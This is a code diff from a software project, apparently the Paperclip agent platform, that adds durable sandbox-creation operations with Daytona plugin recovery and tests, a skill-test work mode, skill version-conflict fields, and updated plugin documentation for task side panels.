"where": "\"heartbeat_runs\".\"runtime_mode\" = 'native' AND \"heartbeat_runs\".\"status\" = 'cancelled'\n AND \"heartbeat_runs\".\"runner_profile_json\"->'nativeWorkspaceSync'->>'state' = 'prepared'\n AND \"heartbeat_runs\".\"result_json\"->'nativeCancellation'->>'dispatchState' = 'acknowledged'\n AND (\"heartbeat_runs\".\"result_json\"->'workspaceRestoreRecovery'->>'schema' = 'paperclip.workspace-restore-recovery.v1'\n AND \"heartbeat_runs\".\"result_json\"->>'workspaceRestoreFailure' IN ('restore_permission_denied', 'restore_lock_timeout', 'restore_unsafe_archive', 'restore_failed')) IS NOT TRUE",
"where": "\"heartbeat_runs\".\"runtime_mode\" = 'native' AND \"heartbeat_runs\".\"status\" = 'cancelled'\n AND \"heartbeat_runs\".\"runner_profile_json\"->'nativeWorkspaceSync'->>'state' = 'prepared'\n AND \"heartbeat_runs\".\"result_json\"->'nativeCancellation'->>'dispatchState' = 'acknowledged'\n AND (\"heartbeat_runs\".\"result_json\"->'workspaceRestoreRecovery'->>'schema' = 'paperclip.workspace-restore-recovery.v1'\n AND \"heartbeat_runs\".\"result_json\"->>'workspaceRestoreFailure' IN ('restore_permission_denied', 'restore_lock_timeout', 'restore_unsafe_archive', 'restore_invalid_metadata', 'restore_failed')) IS NOT TRUE",
"concurrently": false,
"method": "btree",
"with": {}
@@ -36503,6 +36849,40 @@
"method": "btree",
"with": {}
},
"issue_comments_review_response_receipt_idx": {
"name": "issue_comments_review_response_receipt_idx",
"columns": [
{
"expression": "created_by_run_id",
"isExpression": false,
"asc": true,
"nulls": "last"
},
{
"expression": "company_id",
"isExpression": false,
"asc": true,
"nulls": "last"
},
{
"expression": "issue_id",
"isExpression": false,
"asc": true,
"nulls": "last"
},
{
"expression": "author_agent_id",
"isExpression": false,
"asc": true,
"nulls": "last"
}
],
"isUnique": false,
"where": "\"issue_comments\".\"author_type\" = 'agent' AND \"issue_comments\".\"metadata\"->>'authorizationReason' = 'allow_chat_run_presentation'",
"concurrently": false,
"method": "btree",
"with": {}
},
"issue_comments_company_idx": {
"name": "issue_comments_company_idx",
"columns": [
@@ -51194,6 +51574,195 @@
"checkConstraints": {},
"isRLSEnabled": false
},
"public.sandbox_creation_operations": {
"name": "sandbox_creation_operations",
"schema": "",
"columns": {
"id": {
"name": "id",
"type": "uuid",
"primaryKey": true,
"notNull": true
},
"company_id": {
"name": "company_id",
"type": "uuid",
"primaryKey": false,
"notNull": true
},
"environment_id": {
"name": "environment_id",
"type": "uuid",
"primaryKey": false,
"notNull": false
},
"original_environment_id": {
"name": "original_environment_id",
"type": "uuid",
"primaryKey": false,
"notNull": true
},
"run_id": {
"name": "run_id",
"type": "uuid",
"primaryKey": false,
"notNull": true
},
"request_key": {
"name": "request_key",
"type": "text",
"primaryKey": false,
"notNull": true,
"default": "'run'"
},
"issue_id": {
"name": "issue_id",
"type": "uuid",
"primaryKey": false,
"notNull": false
},
"execution_workspace_id": {
"name": "execution_workspace_id",
"type": "uuid",
"primaryKey": false,
"notNull": false
},
"provider": {
"name": "provider",
"type": "text",
"primaryKey": false,
"notNull": true
},
"plugin_id": {
"name": "plugin_id",
"type": "uuid",
"primaryKey": false,
"notNull": false
},
"driver_key": {
"name": "driver_key",
"type": "text",
"primaryKey": false,
"notNull": true
},
"state": {
"name": "state",
"type": "text",
"primaryKey": false,
"notNull": true,
"default": "'pending'"
},
"config": {
"name": "config",
"type": "jsonb",
"primaryKey": false,
"notNull": true
},
"metadata": {
"name": "metadata",
"type": "jsonb",
"primaryKey": false,
"notNull": true
},
"lease_id": {
"name": "lease_id",
"type": "uuid",
"primaryKey": false,
"notNull": false
},
"next_attempt_at": {
"name": "next_attempt_at",
"type": "timestamp with time zone",
"primaryKey": false,
"notNull": true
},
"created_at": {
"name": "created_at",
"type": "timestamp with time zone",
"primaryKey": false,
"notNull": true,
"default": "now()"
},
"updated_at": {
"name": "updated_at",
"type": "timestamp with time zone",
"primaryKey": false,
"notNull": true,
"default": "now()"
}
},
"indexes": {
"sandbox_creation_operations_pending_deadline_idx": {
"name": "sandbox_creation_operations_pending_deadline_idx",
"columns": [
{
"expression": "next_attempt_at",
"isExpression": false,
"asc": true,
"nulls": "last"
}
],
"isUnique": false,
"where": "\"sandbox_creation_operations\".\"state\" = 'pending'",
"concurrently": false,
"method": "btree",
"with": {}
},
"sandbox_creation_operations_owner_idx": {
"name": "sandbox_creation_operations_owner_idx",
"columns": [
{
"expression": "company_id",
"isExpression": false,
"asc": true,
"nulls": "last"
},
{
"expression": "original_environment_id",
"isExpression": false,
"asc": true,
"nulls": "last"
},
{
"expression": "run_id",
"isExpression": false,
"asc": true,
"nulls": "last"
},
{
"expression": "request_key",
"isExpression": false,
"asc": true,
"nulls": "last"
}
],
"isUnique": true,
"concurrently": false,
"method": "btree",
"with": {}
}
},
"foreignKeys": {
"sandbox_creation_operations_environment_id_environments_id_fk": {
"name": "sandbox_creation_operations_environment_id_environments_id_fk",
"tableFrom": "sandbox_creation_operations",
"tableTo": "environments",
"columnsFrom": [
"environment_id"
],
"columnsTo": [
"id"
],
"onDelete": "set null",
"onUpdate": "no action"
}
},
"compositePrimaryKeys": {},
"uniqueConstraints": {},
"policies": {},
"checkConstraints": {},
"isRLSEnabled": false
},
"public.secret_access_events": {
"name": "secret_access_events",
"schema": "",
+14
View File
@@ -2906,6 +2906,20 @@
"when": 1793320102041,
"tag": "0416_salty_domino",
"breakpoints": true
},
{
"idx": 417,
"version": "7",
"when": 1793371684483,
"tag": "0417_chunky_red_hulk",
"breakpoints": true
},
{
"idx": 418,
"version": "7",
"when": 1793395364937,
"tag": "0418_curved_lady_mastermind",
"breakpoints": true
}
]
}
+12
View File
@@ -70,6 +70,18 @@ export type CompanySkillVersionFileInventoryEntry = CompanySkillFileInventoryEnt
executable?: boolean;
};
export const companySkillMutationReceipts = pgTable("company_skill_mutation_receipts", {
companyId: uuid("company_id").notNull().references(() => companies.id, { onDelete: "cascade" }),
key: text("key").notNull(),
fingerprint: text("fingerprint").notNull(),
skillId: uuid("skill_id").notNull(),
versionId: uuid("version_id").notNull(),
response: jsonb("response").$type<Record<string, unknown>>().notNull(),
createdAt: timestamp("created_at", { withTimezone: true }).notNull().defaultNow(),
}, table => ({
keyIdx: uniqueIndex("company_skill_mutation_receipts_key_idx").on(table.companyId, table.key),
}));
export type SkillPackageStorageReceipt = {
durable?: boolean;
format: "tar-gzip-v1";
+2
View File
@@ -39,6 +39,7 @@ export {
} from "./execution_workspace_restore_points.js";
export { executionWorkspaceRuntimeLeases } from "./execution_workspace_runtime_leases.js";
export { environments } from "./environments.js";
export { sandboxCreationOperations } from "./sandbox_creation_operations.js";
export { environmentLeases } from "./environment_leases.js";
export { environmentCustomImageTemplates } from "./environment_custom_image_templates.js";
export { environmentCustomImageSetupSessions } from "./environment_custom_image_setup_sessions.js";
@@ -193,6 +194,7 @@ export {
} from "./tool_access.js";
export {
companySkills,
companySkillMutationReceipts,
companySkillVersions, companySkillRepositorySnapshots, skillPackageDeletions,
companySkillStars,
companySkillComments,
@@ -0,0 +1,27 @@
import { index, jsonb, pgTable, text, timestamp, uuid, uniqueIndex } from "drizzle-orm/pg-core";
import { sql } from "drizzle-orm";
import { environments } from "./environments.js";
export const sandboxCreationOperations = pgTable("sandbox_creation_operations", {
id: uuid("id").primaryKey(),
companyId: uuid("company_id").notNull(),
environmentId: uuid("environment_id").references(() => environments.id, { onDelete: "set null" }),
originalEnvironmentId: uuid("original_environment_id").notNull(),
runId: uuid("run_id").notNull(),
requestKey: text("request_key").notNull().default("run"),
issueId: uuid("issue_id"),
executionWorkspaceId: uuid("execution_workspace_id"),
provider: text("provider").notNull(),
pluginId: uuid("plugin_id"),
driverKey: text("driver_key").notNull(),
state: text("state").notNull().default("pending"),
config: jsonb("config").$type<Record<string, unknown>>().notNull(),
metadata: jsonb("metadata").$type<Record<string, unknown>>().notNull(),
leaseId: uuid("lease_id"),
nextAttemptAt: timestamp("next_attempt_at", { withTimezone: true }).notNull(),
createdAt: timestamp("created_at", { withTimezone: true }).notNull().defaultNow(),
updatedAt: timestamp("updated_at", { withTimezone: true }).notNull().defaultNow(),
}, table => ({
pendingDeadline: index("sandbox_creation_operations_pending_deadline_idx").on(table.nextAttemptAt).where(sql`${table.state} = 'pending'`),
owner: uniqueIndex("sandbox_creation_operations_owner_idx").on(table.companyId, table.originalEnvironmentId, table.runId, table.requestKey),
}));
@@ -567,34 +567,34 @@ describe("NativeExecutionInputV2 planning", () => {
});
});
describe("NativeExecutionInputV2 ask mode", () => {
it("round-trips ask mode as a default execution without planning context", () => {
describe.each(["ask", "skill_test"])("NativeExecutionInputV2 %s mode", (workMode) => {
it("round-trips the restricted mode as a default execution without planning context", () => {
const parsed = parseNativeExecutionInput({
...input,
schema: "paperclip.native-execution-input.v2",
executionMode: "default",
task: { ...input.task, workMode: "ask" },
task: { ...input.task, workMode },
planningContext: null,
});
expect(parsed).toMatchObject({
schema: "paperclip.native-execution-input.v2",
executionMode: "default",
task: { workMode: "ask" },
task: { workMode },
});
expect(buildNativeModelEnvelope(parsed)).toMatchObject({
schema: "paperclip.native-model-envelope.v2",
task: { workMode: "ask" },
task: { workMode },
executionMode: "default",
planningContext: null,
});
});
it("rejects plan execution for ask mode", () => {
it("rejects plan execution for the restricted mode", () => {
expect(() => parseNativeExecutionInput({
...input,
schema: "paperclip.native-execution-input.v2",
executionMode: "plan",
task: { ...input.task, workMode: "ask" },
task: { ...input.task, workMode },
planningContext: {
documentId: null,
baseRevisionId: null,
@@ -210,7 +210,7 @@ export interface NativeExecutionInputV2 extends Omit<NativeExecutionInputV1, "sc
schema: typeof NATIVE_EXECUTION_INPUT_SCHEMA_V2;
executionMode: NativeExecutionMode;
task: Omit<NativeExecutionInputV1["task"], "workMode"> & {
workMode: "standard" | "planning" | "ask";
workMode: "standard" | "planning" | "ask" | "skill_test";
};
planningContext: NativePlanningContext | null;
}
@@ -486,8 +486,8 @@ export function parseNativeExecutionInput(value: unknown): NativeExecutionInput
const contract = record(completionContract.contract, "input.completionContract.contract");
exactKeys(contract, ["revision", "objective", "criteria"], "input.completionContract.contract");
if (task.workMode !== "standard" && (!isV2 || task.workMode !== "planning" && task.workMode !== "ask")) {
throw new NativeExecutionInputError("input.task.workMode must be standard, planning, or ask");
if (task.workMode !== "standard" && (!isV2 || task.workMode !== "planning" && task.workMode !== "ask" && task.workMode !== "skill_test")) {
throw new NativeExecutionInputError("input.task.workMode must be standard, planning, ask, or skill_test");
}
const executionMode: NativeExecutionMode = isV2 && input.executionMode === "plan" ? "plan" : "default";
if (isV2 && input.executionMode !== "default" && input.executionMode !== "plan") {
@@ -871,7 +871,7 @@ export function parseNativeExecutionInput(value: unknown): NativeExecutionInput
// Recovery must retain those runs, so derive the same bounded model
// prompt from their task fields instead of making them unrecoverable.
prompt: text(task.prompt ?? task.description ?? task.title, "input.task.prompt"),
workMode: task.workMode as "standard" | "planning" | "ask",
workMode: task.workMode as "standard" | "planning" | "ask" | "skill_test",
},
workspace: {
cwd: text(workspace.cwd, "input.workspace.cwd"),
@@ -143,7 +143,11 @@ export function isSemanticToolOutcomeUnknownError(error: unknown): error is Sema
export class NativeSessionCloseUnrecoverableError extends Error {
readonly code = "native_session_close_unrecoverable";
constructor(readonly settlement?: Record<string, unknown>) {
constructor(
readonly settlement?: Record<string, unknown>,
/** Exact durable results exist for every admitted Core tool callback. */
readonly semanticToolsSettled = false,
) {
super(
"provider_transport_failed: runner did not durably suspend before checkpoint",
);
@@ -1356,6 +1356,7 @@ it.each(["after_budget", "within_budget", "interrupted_within_budget", "persiste
expect(closeFailure).toBeInstanceOf(
NativeSessionCloseUnrecoverableError,
);
expect(closeFailure).toHaveProperty("semanticToolsSettled", false);
expect(closeFailure).toHaveProperty("settlement.semanticTools.pending", expect.arrayContaining([
expect.objectContaining({ callId: expect.any(String), operationId: expect.any(String),
sourceEventId: expect.any(String), inputDigest: expect.stringMatching(/^[a-f0-9]{64}$/) }),
@@ -8110,9 +8111,13 @@ it("still fails closed when a real close grace period cannot fit a durable suspe
cwd: tmpdir(),
dynamicTools: [],
});
await expect(bundle.transport.close()).rejects.toThrow(
"runner did not durably suspend before checkpoint",
);
const closed = bundle.transport.close();
await expect(closed).rejects.toMatchObject({
code: "native_session_close_unrecoverable",
semanticToolsSettled: true,
});
// Retirement preserves the original rejected promise and its proof.
expect(bundle.transport.close()).toBe(closed);
} finally {
await rm(stateDirectory, { recursive: true, force: true });
}
@@ -4928,7 +4928,11 @@ class DurablePrpCodexTransport implements CodexAppServerTransport {
} catch {
// Keep the settlement failure authoritative if its observer fails.
}
throw new NativeSessionCloseUnrecoverableError(settlement);
// Sample after ingress retirement and its drain. A result observed before
// that barrier cannot rule out one last admitted tool callback.
throw new NativeSessionCloseUnrecoverableError(
settlement, this.#core?.semanticToolResultsSettled() === true,
);
}
if (!preparationConfirmed) {
throw new Error(`Native runner ${attachmentPending ? "attachment" : "startup"} cleanup is unconfirmed; recovery state retained.`);
@@ -63,3 +63,22 @@ second export after reconnect. The test creates and deletes one disposable
- `src/manifest.ts` declares the sandbox-provider driver metadata
- `src/plugin.ts` implements the environment lifecycle hooks
- `paperclipPlugin.manifest` and `paperclipPlugin.worker` point the host at the built plugin entrypoints in `dist/`
### Interrupted run-lease creation
The host commits a company-scoped creation operation before acquiring a new run
lease. The operation UUID becomes `paperclip-create-<uuid>` and the
`paperclip-create-attempt` label. The existing inspection hook can resolve that
name and validate company, environment and run labels without starting a sandbox.
Recovery persists the observed provider ID before the existing cleanup worker
deletes it. A missing creation name is an uncertain outcome, not proof of removal.
The host retains that operation for manual reconciliation and never repeats the
creation request blindly. Credential identity must still match admission.
This capability is declared as `creationOperationVersion: 1` in manifest version
0.1.10. It covers normal run/ad-hoc lease acquisition and plugin task replacement.
Legacy provider `environmentProbe` and custom-image interactive setup have separate
lifecycles and are outside this lease-orphan fallback replacement. The normal Test
path which acquires a runtime lease is covered. Unit fixtures exercise lookup and
deletion; live provider qualification requires an explicit disposable test account.
@@ -1,6 +1,6 @@
{
"name": "@paperclipai/plugin-daytona",
"version": "0.1.9",
"version": "0.1.10",
"description": "Daytona sandbox provider plugin for Paperclip environments",
"license": "MIT",
"homepage": "https://github.com/paperclipai/paperclip",
@@ -15,7 +15,7 @@ export const DEFAULT_DAYTONA_OPERATION_TIMEOUT_MS = 300_000;
// 0.1.6 adds private authenticated WebSocket ingress for paperclip_runner.
// 0.1.7 exposes host-owned warm/cold runner lifecycle controls.
// 0.1.8 declares the default provider acquisition budget to the host.
const PLUGIN_VERSION = "0.1.9";
const PLUGIN_VERSION = "0.1.10";
const manifest: PaperclipPluginManifestV1 = {
id: PLUGIN_ID,
@@ -39,6 +39,7 @@ const manifest: PaperclipPluginManifestV1 = {
description:
"Provisions Daytona sandboxes with configurable image or snapshot selection, startup timeouts, and lease reuse.",
supportsReusableLeases: true,
creationOperationVersion: 1,
// Daytona keeps a persistent session and tails its callback log form, so it
// emits incremental session output while the command runs. Declare the
// opt-in capability so the host selects the session-output streaming path.
@@ -51,6 +51,16 @@ describe("Daytona read-only resource inspection", () => {
for (const method of [sandbox.start, sandbox.stop, sandbox.delete, sandbox.archive, sandbox.refreshData]) expect(method).not.toHaveBeenCalled();
expect(mockCreate).not.toHaveBeenCalled();
});
it.each(["active", "destroyed"])("inspects a normal lease with creation provenance by recorded ID: %s", async state => {
const provenance = { creationOperationId: "16cd534e-27a1-45de-a4ad-5adbb6481361" };
if (state === "active") mockGet.mockResolvedValue(createMockSandbox());
else mockGet.mockRejectedValue(new MockDaytonaNotFoundError("gone"));
expect(await plugin.definition.onEnvironmentInspectLease!({ ...params, leaseMetadata: provenance }))
.toEqual({ providerLeaseId: "sandbox-123", state });
expect(mockGet).toHaveBeenCalledExactlyOnceWith("sandbox-123");
expect(mockCreate).not.toHaveBeenCalled();
if (state === "destroyed") expect(await plugin.definition.onIdleDrain!(new AbortController().signal)).toBe("none");
});
it("accepts only typed provider not-found as deletion proof", async () => {
__resetDaytonaSandboxHandleCacheForTest();
mockGet.mockRejectedValue(new MockDaytonaNotFoundError("not found"));
@@ -80,6 +90,46 @@ describe("Daytona read-only resource inspection", () => {
});
});
describe("Daytona durable creation identity", () => {
const id = "16cd534e-27a1-45de-a4ad-5adbb6481361";
const runId = "8cbd0194-e322-4b5b-9800-df4d5a682479";
const params = { driverKey: "daytona", companyId: "fixture-company", environmentId: "fixture-environment",
providerLeaseId: id, config: { apiKey: "fixture-not-a-key" },
creationOperation: { id, runId } };
beforeEach(() => { mockCreate.mockReset(); mockGet.mockReset(); __resetDaytonaSandboxHandleCacheForTest(); });
afterEach(() => { vi.unstubAllEnvs(); __resetDaytonaSandboxHandleCacheForTest(); });
function resource() { return { ...createMockSandbox({ name: `paperclip-create-${id}` }), labels: {
"paperclip-provider": "daytona", "paperclip-create-attempt": id,
"paperclip-company-id": params.companyId, "paperclip-environment-id": params.environmentId,
"paperclip-run-id": runId,
} }; }
it("locates the exact resource by stable name without creation or lifecycle calls", async () => {
const sandbox = resource(); mockGet.mockResolvedValue(sandbox);
const observed = await plugin.definition.onEnvironmentInspectLease!(params);
expect(mockGet).toHaveBeenCalledWith(`paperclip-create-${id}`);
expect(observed).toMatchObject({ providerLeaseId: `paperclip-create-${id}`, state: "active",
creationCleanup: { observedProviderLeaseId: sandbox.id, attemptId: id, runId } });
expect(mockCreate).not.toHaveBeenCalled(); expect(sandbox.delete).not.toHaveBeenCalled();
await plugin.definition.onEnvironmentDestroyLease!({ ...params, providerLeaseId: observed.providerLeaseId,
leaseMetadata: { failedCreateCleanup: observed.creationCleanup } });
expect(sandbox.delete).toHaveBeenCalledOnce();
});
it("retains uncertainty when a creation name is absent", async () => {
mockGet.mockRejectedValue(new MockDaytonaNotFoundError("not yet visible"));
expect(await plugin.definition.onEnvironmentInspectLease!(params)).toEqual({ providerLeaseId: `paperclip-create-${id}`, state: "unknown" });
expect(mockCreate).not.toHaveBeenCalled();
});
it("rejects a name or label owned by another creation", async () => {
mockGet.mockResolvedValue({ ...resource(), labels: { "paperclip-company-id": "foreign" } });
await expect(plugin.definition.onEnvironmentInspectLease!(params)).rejects.toThrow("ownership does not match");
});
it("requires the recorded endpoint when ambient configuration changes", async () => {
vi.stubEnv("DAYTONA_API_URL", "https://changed.example.test");
expect((await plugin.definition.onEnvironmentInspectLease!(params)).state).toBe("unknown");
expect(mockGet).not.toHaveBeenCalled();
});
});
describe("Daytona idle eligibility", () => {
const params = { driverKey: "daytona", companyId: "fixture-company", environmentId: "fixture-environment",
config: { apiKey: "fixture-not-a-key", reuseLease: true } };
@@ -537,7 +587,7 @@ describe("Daytona sandbox provider plugin", () => {
// The bundled-plugin boot reconcile refreshes the stored manifest for an
// existing install only when the version changes. The acquisition budget needs
// the bump to reach an existing install.
expect(manifest.version).toBe("0.1.9");
expect(manifest.version).toBe("0.1.10");
});
it.each([false, true])("closes duplex routes on lease release even when bridge drain hangs: %s", async (hangDrain) => {
@@ -994,7 +994,8 @@ async function createSandbox(
}
// The SDK can create a sandbox and then throw while waiting for it to start.
// Keep an attempt-specific provider name so that failure cannot lose ownership.
const attemptId = randomUUID();
const attemptId = "creationOperationId" in params && params.creationOperationId ? params.creationOperationId : randomUUID();
if (!/^[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}$/i.test(attemptId)) throw new Error("Invalid creation operation identity");
const name = `paperclip-create-${attemptId}`;
const labels = { ...buildSandboxLabels({
companyId: params.companyId,
@@ -2988,6 +2989,32 @@ const plugin = definePlugin(trackDaytonaHooks({
if (!config.apiUrl && (process.env.DAYTONA_API_URL?.trim() || process.env.DAYTONA_SERVER_URL?.trim())) {
return { providerLeaseId: params.providerLeaseId, state: "unknown" };
}
if (params.creationOperation !== undefined) {
const { id: attemptId, runId } = params.creationOperation;
if (![attemptId, runId].every(value => typeof value === "string" && /^[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}$/i.test(value))) {
throw new Error("Invalid creation operation identity");
}
const name = `paperclip-create-${attemptId}`;
try {
const sandbox = await withLivenessTimeout("sandbox.creationLookup", 10_000, () => createDaytonaClient(config).get(name));
const labels = {
"paperclip-provider": "daytona", "paperclip-create-attempt": attemptId,
"paperclip-company-id": params.companyId, "paperclip-environment-id": params.environmentId,
"paperclip-run-id": runId,
};
if (sandbox.name !== name || Object.entries(labels).some(([key, value]) => sandbox.labels?.[key] !== value)) {
throw new Error("Creation operation ownership does not match");
}
return { providerLeaseId: name, state: "active", creationCleanup: {
providerLeaseId: name, observedProviderLeaseId: sandbox.id, companyId: params.companyId,
environmentId: params.environmentId, runId: labels["paperclip-run-id"], attemptId,
accountFingerprint: sandboxAccountDiscriminator(config), labels,
} };
} catch (error) {
if (error instanceof DaytonaNotFoundError) return { providerLeaseId: name, state: "unknown" };
throw error;
}
}
const proof = idleActivity.proof(providerActivityKey(params, config, params.providerLeaseId));
// Read directly from the provider. The setup-status path and cached lease
// reconnect path can start a stopped sandbox, so neither is an observation.
+13 -8
View File
@@ -259,8 +259,10 @@ A card or section rendered on the main dashboard. Use this for at-a-glance metri
An additional tab on a project, issue, agent, goal, or run detail page. Rendered when the user navigates to that entity's detail view. Receives `PluginDetailTabProps` with `context.companyId` set to the active company and `context.entityId` / `context.entityType` guaranteed to be non-null, so you can immediately scope data fetches to the relevant entity. Specify which entity types the tab applies to via the `entityTypes` array in the manifest slot declaration. Requires the `ui.detailTab.register` capability.
Agent detail tabs can also appear in task side panels. Declare a mapping to a
runtime activity independently of the plugin and slot identifiers:
Agent detail tabs can also appear in task side panels. `taskSidePanel` makes the
view available for manual selection with the running or assigned agent. Manual
selection mounts the same component as the agent detail page, including while
the task is idle. An optional activity mapping also opens it automatically:
```ts
taskSidePanel: {
@@ -272,8 +274,8 @@ taskSidePanel: {
Declare the exact availability path as a board-only GET API route with
`companyResolution: { from: "agent", param: "entityId" }`. Core maps the declared
namespace/activity pair to installed agent detail tabs. Runner knows no plugin
or UI slot. Declarations without `activation` remain valid for agent detail pages
and contribute no task panel. Activity is a reported fact, not an authorization grant.
or UI slot. Declarations without `activation` support manual task-panel selection.
Activity controls automatic opening and grants no access permission.
#### Runtime activity recording
@@ -317,13 +319,16 @@ Core reads durable activity on mount/reconnect and uses the existing live stream
The authorized run binding identifies company, task and agent; caller payloads
cannot override them. Core replaces `:entityId` with the running agent ID, adds
`runId` and `issueId`, and requires `{ available: true }`. History/live hints merge
without losing earlier activity. Only matching current-task activity contributes.
without losing earlier activity. Only matching current-task activity can open a
panel automatically.
Readiness and transient discovery failures get at most three attempts; authorization
failures are not retried. No periodic readiness polling is added. Dismissal stays
scoped to the current run. Only tab identity is stored in browser state; activity
remains in the authorized run log. Missing/disabled plugins, failed history reads,
unavailable views and access failures contribute no task tab. The plugin owns
labels, content and controls. No private integration identifier belongs in Core.
remains in the authorized run log. Failed history reads, unavailable views and
access failures prevent automatic opening. Manual selection uses the viewer's
own authorization and status handling. Missing or disabled plugins add no view.
The plugin owns labels, content and controls. No private integration identifier
belongs in Core.
#### `taskDetailView`
+3
View File
@@ -641,6 +641,7 @@ export interface PluginEnvironmentRunnerIngressEndpointParams
export interface PluginEnvironmentAcquireLeaseParams extends PluginEnvironmentDriverBaseParams {
runId: string;
creationOperationId?: string;
/** Explicit platform probes may request a provider-owned immutable snapshot
* identity. Supporting providers create by that ID and return snapshotIdentity
* in lease metadata. Older providers may omit it; the host then cannot qualify
@@ -701,11 +702,13 @@ export interface PluginEnvironmentDestroyLeaseParams extends PluginEnvironmentRe
/** Observe this exact allocation without starting, stopping or deleting it.
* Missing resources must be distinguished from permission/transport failures. */
export interface PluginEnvironmentInspectLeaseParams extends PluginEnvironmentDriverBaseParams {
creationOperation?: { id: string; runId: string };
providerLeaseId: string;
leaseMetadata?: Record<string, unknown>;
}
export interface PluginEnvironmentLeaseObservation {
creationCleanup?: import("./environment-creation-cleanup.js").PluginEnvironmentCreationCleanup;
providerLeaseId: string;
state: "active" | "stopped" | "destroyed" | "unknown";
}
@@ -13,6 +13,10 @@ export interface AgentLifecycleOperation {
leaseOwner?: string;
leaseUntil?: string;
retryAt?: string;
/** A failed configuration check waits for configuration repair or an explicit retry. */
retryRequired?: boolean;
/** Failed generic host verification tests for this saved configuration. */
verificationFailures?: number;
attempts: number;
responsibleUserId?: string | null;
}
+2
View File
@@ -333,6 +333,8 @@ export interface AdapterEnvironmentCheck {
message: string;
detail?: string | null;
hint?: string | null;
/** The check could not complete because its execution target was unavailable. */
retryable?: boolean;
}
export interface AdapterEnvironmentTestResult {
+11 -1
View File
@@ -1,7 +1,7 @@
import type { IssueAttachment, IssueDocument } from "./issue.js";
import type { IssueWorkProduct } from "./work-product.js";
export type CompanySkillSourceType = "local_path" | "github" | "url" | "catalog" | "skills_sh";
export type CompanySkillSourceType = "managed" | "local_path" | "github" | "url" | "catalog" | "skills_sh";
export type CompanySkillTrustLevel = "markdown_only" | "assets" | "scripts_executables";
@@ -180,6 +180,8 @@ export type CompanySkillVersionSummary = Omit<CompanySkillVersion, "fileInventor
};
export interface CompanySkillVersionCreateRequest {
sourceVersionId?: string;
expectedVersionId?: string | null;
label?: string | null;
}
@@ -259,6 +261,7 @@ export interface CompanySkillForkPrecheckResult {
}
export interface CompanySkillRenameRequest {
expectedVersionId?: string | null;
name: string;
slug?: string | null;
}
@@ -328,10 +331,12 @@ export interface CompanySkillAuditResult {
export interface CompanySkillInstallUpdateRequest {
force?: boolean;
expectedVersionId?: string | null;
}
export interface CompanySkillResetRequest {
force?: boolean;
expectedVersionId?: string | null;
}
export interface CompanySkillImportRequest {
@@ -447,6 +452,7 @@ export interface CompanySkillCreateRequest {
}
export interface CompanySkillFileDetail {
versionId?: string | null;
encoding?: "utf8" | "base64";
executable?: boolean;
skillId: string;
@@ -459,6 +465,8 @@ export interface CompanySkillFileDetail {
}
export interface CompanySkillFileUpdateRequest {
expectedVersionId?: string | null;
idempotencyKey?: string;
encoding?: "utf8" | "base64";
executable?: boolean;
path: string;
@@ -466,11 +474,13 @@ export interface CompanySkillFileUpdateRequest {
}
export interface CompanySkillFileDeleteRequest {
expectedVersionId?: string | null;
path: string;
target: "file" | "folder";
}
export interface CompanySkillFileDeleteResult {
versionId?: string | null;
skillId: string;
path: string;
target: "file" | "folder";
+6 -4
View File
@@ -198,6 +198,7 @@ export interface PluginEnvironmentDriverDeclaration {
/** Provides Runner execution, resource preparation, and PRP connections via environmentTask. */
supportsTasks?: boolean;
freshWorkspaceVersion?: 1;
creationOperationVersion?: 1;
/** Codex task retention and authorized run attachment, version 1. */
warmTaskVersion?: 1;
/** Stable driver key, unique within the plugin. Namespaced by plugin ID at runtime. */
@@ -499,15 +500,16 @@ export interface PluginUiSlotDeclaration {
* Required for `detailTab`, `taskDetailView`, and `contextMenuItem`.
*/
entityTypes?: PluginUiSlotEntityType[];
/** Also offer this agent detail tab beside a task while its agent is running.
* The run must record the declared runtime activity before a task panel appears.
/** Also offer this agent detail tab for manual selection beside a task.
* It uses the running agent, or the assigned agent while idle.
* Matching run activity and readiness also open the panel automatically.
* GET this plugin-relative path with :entityId replaced by the agent ID,
* and runId/issueId query parameters for the active task.
* The board/agent-scoped route returns { available: boolean }.
* The board-only, agent-scoped route returns { available: boolean }.
*/
taskSidePanel?: {
availabilityPath: string;
/** Opaque runtime activity mapped to this view. Absent mappings add no task panel. */
/** Runtime activity that requests automatic opening; manual selection needs no mapping. */
activation?: { namespace: string; activityKey: string };
};
@@ -1,6 +1,6 @@
import { z } from "zod";
export const companySkillSourceTypeSchema = z.enum(["local_path", "github", "url", "catalog", "skills_sh"]);
export const companySkillSourceTypeSchema = z.enum(["managed", "local_path", "github", "url", "catalog", "skills_sh"]);
export const companySkillTrustLevelSchema = z.enum(["markdown_only", "assets", "scripts_executables"]);
export const companySkillCompatibilitySchema = z.enum(["compatible", "unknown", "invalid"]);
export const companySkillSourceBadgeSchema = z.enum(["paperclip", "github", "local", "url", "catalog", "skills_sh"]);
@@ -144,6 +144,8 @@ export const companySkillDetailSchema = companySkillSchema.extend({
});
export const companySkillVersionCreateSchema = z.object({
sourceVersionId: z.string().guid().optional(),
expectedVersionId: z.string().guid().nullable().optional(),
label: z.string().trim().min(1).nullable().optional(),
}).default({});
@@ -203,6 +205,7 @@ export const companySkillForkPrecheckResultSchema = z.object({
});
export const companySkillRenameSchema = z.object({
expectedVersionId: z.string().guid().nullable().optional(),
name: z.string().min(1).regex(/^[^\r\n]+$/, "Name must be a single line"),
slug: z.string().min(1).nullable().optional(),
});
@@ -267,10 +270,12 @@ export const companySkillAuditResultSchema = z.object({
export const companySkillInstallUpdateSchema = z.object({
force: z.boolean().optional(),
expectedVersionId: z.string().uuid().nullable().optional(),
}).default({});
export const companySkillResetSchema = z.object({
force: z.boolean().optional(),
expectedVersionId: z.string().uuid().nullable().optional(),
}).default({});
export const companySkillImportSchema = z.object({
@@ -379,6 +384,7 @@ export const companySkillCreateSchema = z.object({
});
export const companySkillFileDetailSchema = z.object({
versionId: z.string().guid().nullable().optional(),
encoding: z.enum(["utf8", "base64"]).optional(),
executable: z.boolean().optional(),
skillId: z.string().guid(),
@@ -400,6 +406,7 @@ export const companySkillFileUpdateSchema = z.object({
});
export const companySkillFileDeleteSchema = z.object({
expectedVersionId: z.string().guid().nullable().optional(),
path: z.string().min(1),
target: z.enum(["file", "folder"]),
});
+1
View File
@@ -181,6 +181,7 @@ export const pluginEnvironmentDriverDeclarationSchema = z.object({
requiresAgent: z.boolean().optional(),
supportsTasks: z.boolean().optional(),
freshWorkspaceVersion: z.literal(1).optional(),
creationOperationVersion: z.literal(1).optional(),
